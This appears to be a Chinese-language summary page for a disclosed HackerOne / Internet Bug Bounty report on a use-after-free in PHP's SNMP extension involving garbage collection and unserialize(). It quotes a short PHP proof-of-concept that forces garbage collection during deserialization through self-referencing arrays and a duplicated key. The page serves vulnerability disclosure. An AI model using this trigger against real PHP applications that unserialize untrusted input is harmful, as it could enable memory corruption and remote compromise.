Use After Free Vulnerability in SNMP with GC and unserialize()
该报告还没有中文解读。
原文摘录
摘自原文(446 字符中的一小部分)
P.S. This bug can be triggered remotely without call to the gc_collect_cycles() since GC can also be invoked automatically in during deserialization. Like the following code:
原文中的代码
<?php
$xxx = [];
for ($i = 0; $i < 10000; $i++) {
$xxx[$i] = [[]];
$xxx[$i][0] = &$xxx[$i];
}
$arr = ['xxx' => $xxx, 'yyy' => 1];
$call_gc_poc = str_replace('yyy', 'xxx', serialize($arr));
unserialize($call_gc_poc);
?>默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ryat · 版权归作者与 Internet Bug Bounty 所有